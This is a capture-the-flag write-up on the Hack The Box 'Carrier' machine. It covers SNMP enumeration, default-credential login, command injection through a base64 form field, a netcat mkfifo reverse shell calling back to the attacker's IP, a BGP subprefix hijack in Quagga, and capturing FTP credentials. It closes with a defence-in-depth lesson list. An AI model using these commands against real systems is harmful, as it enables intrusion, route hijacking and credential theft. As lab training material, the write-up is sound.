This is a write-up on the Carrier machine access challenge from HTB. For more information on challenges like these, check out my post on penetration testing. Special thanks to HTB user snowscan for creating the challenge.
Carrier was a unique challenge that will provide an opportunity to stretch some muscles most of us haven't used in a long time.
Getting Started
A basic, non-exhaustive nmap on TCP shows a web server and ssh (there is also a filtered ftp port showing). Follow this up with a scan on UDP to reveal an SNMP service as well.
nmap 10.10.10.105
nmap -sU 10.10.10.105
The website shows two cryptic error messages with a login form underneath. Exploring the SNMP service seems interesting too. SNMP uses community strings to grant access, and the default community string for read-only in usually the word public. Use snmpwalk to query all subtrees.
snmpwalk -v2c -c public 10.10.10.105
(This returns with: iso.3.6.1.2.1.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23")
SN often stands for serial number and some products use that as the initial administrator password. Login to the website with the credentials admin:NET_45JDX23. NOTE: this was mostly guesswork. Had I enumerated the website first (see below), I would have found documentation for the error codes on the front page, clearly demonstrating that the credentials had not been set and that the default password was set to the chassis serial number.
Hacking the Website
Browsing around the website, there are a few interesting pages. On the tickets page, notice ticket #6 which contains some useful information.
Dirb or gobuster can both be used enumerate websites and find hidden web objects, but sometimes perusing through the code to find directories and guessing common locations is good enough. In this case, the /doc directory is accessible and directory listing is turned on, which means it is possible to see the contents of the directory without previously knowing the filenames. There is a list of error codes and their meaning, and a network diagram. Though security should not depend on the secrecy of its implementation ("security through obscurity") even a simple network diagram such as this one can provide a treasure of information.
Remote Code Execution
The diagnostics page on the website has a "verify status" button which displays what appears to be the output of a ps command, probably piped to a grep command in order to show the running processes of the quagga user (Quagga happens to be the name of a routing software that runs on Unix platforms). Most likely, a script on the the webserver will execute the command ps aux | grep quagga and display the output to the browser whenever the "verify status" button is clicked.
In the source code for the diagnostics page, there is a hidden form field called "check" with a value that turns out to be base64 encoded. Base64 decode the string and it returns the value quagga, indicating that the value of the grep command might be controlled by this parameter.
echo cXVhZ2dh | base64 --decode
To quickly test the theory, base64 encode root and use Burp as a proxy to change the value of the parameter whenever the "verify status" button is pressed (many tutorials are available online which demonstrate how to use Burp).
echo root | base64
Next, encode "; whoami" and pass it to the script. This shows that the script is running as root and that it can be easily coaxed into running any command by simply preceding it with a semicolon. Time for a reverse shell.
Reverse Shell and Owning User
Setup the reverse shell by using netcat locally.
On your local computer, run the command (this will hang):
nc -lnvp 1234
Next, encode the command below to base64 and pass it to the script in the check field using Burp. Be sure to change 10.10.x.x to your own IP address. NOTE: I chose this unusual reverse shell after a few others proved to be unstable or failed altogether. For a good list of reverse shell options, check this webpage http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet.
; rm f;mkfifo f;cat f|/bin/sh -i 2>&1|/bin/nc.openbsd 10.10.x.x 1234 > f
This opens a reverse shell. Change directory into /root and locate user.txt.
The Twist
Of course, something is wrong. Usually, root.txt is found under /root. After poking around a bit, it becomes obvious that the reverse shell is not running on the desired server. The web server was running the ps command remotely, and the command that started the reverse shell started it on a different machine, one which is running the Quagga router.
Standard enumeration on a Unix platform should include a look at cron, which automatically launches processes at a scheduled time.
crontab -l
On this server, root's cron periodically executes a script called restore.sh which will overwrite changes to the Quagga configuration. Get rid of the script so that it doesn't interfere further. NOTE: The method will cause an error that might alert an administrator in a real-life scenario. A better way to do this would be to disable the cron job or alter the script so that it exits successfully without actually doing anything.
mv /opt/restore.sh /opt/restore.sh.bak
Getting Into It
Based on information from ticket #6 on the website, there is an "important" FTP server on 10.120.15 network. A loop with netcat reveals that the FTP server is 10.120.15.10.
for i in $(seq 254 $END); do nc -w 1 -vz 10.120.15.$i 21; done
Because the reverse shell is on a router, there are few things that are especially important to enumerate - the network interfaces, the routing table, and the router config.
ifconfig -a
route
cat /etc/quagga/bgpd.conf
vtysh -c 'show ip bgp'
review the network diagram found on the webserver
It is thus possible to determine that the reverse shell is on network AS100, the FTP server is on AS300, and the client connecting to the FTP server is on AS200.
Enter BGP
The objective at this point is to intercept the FTP traffic. Since FTP is a clear-text protocol, interception will likely reveal sensitive credentials.
BGP, the routing protocol, will generally choose the shortest path for routing. Since AS200 and AS300 are directly connected, there is never a need for network traffic to traverse AS100. Only by manipulating BPG to send traffic intended for AS300 to AS100, will it be possible to intercept the FTP communications. To do this, a BGP subprefix hijack can be utilized. In this type of attack, a router announces a new route to a more specific prefix. Although traffic to the general network prefix will still follow the original route, any traffic destined for the subprefix will follow the new route, because BPG will favor the route that is more specific ("longest prefix matching"). NOTE: a standard prefix hijack would not have worked because the router at AS200 will re-advertise its routes.
In order to do this, add the new, more specific network, which includes the IP for the FTP server, to the Quagga configuration file. Quagga will begin announcing the route and traffic destined for the FTP server will arrive at the router where the reverse shell is established. Since the reverse shell in not interactive, the sed command can be used to add the necessary line.
sed -i '12i network 10.120.15.8/29' /etc/quagga/bgpd.conf
systemctl restart quagga
Listening In
Once traffic is routed, an easy way to eavesdrop on the incoming FTP traffic is to impersonate the FTP server. Add an interface with the correct IP and use netcat to listen to the FTP port.
ifconfig eth2:1 10.120.15.10 netmask 255.255.255.0 up 2>&1
nc -lnvp 21
This reveals that user root has credentials BGPtelc0rout1ng. Use these credentials to ssh to the original server (10.10.10.105) and find root.txt in the usual location!
Afterword
One of the great things about this challenge is that is clearly demonstrates the importance of defense-in-depth. In a real-life scenario, fixing any one of these mistakes would have likely thwarted an attacker from gaining access to the crown jewel:
- Default community string used for SNMP
- Default admin password not changed
- Webserver directory listing enabled
- Web server running as root
- Command execution based on an unchecked form field
- No restrictions or policies on routes that can be advertised by neighbors
- Using FTP and using FTP as root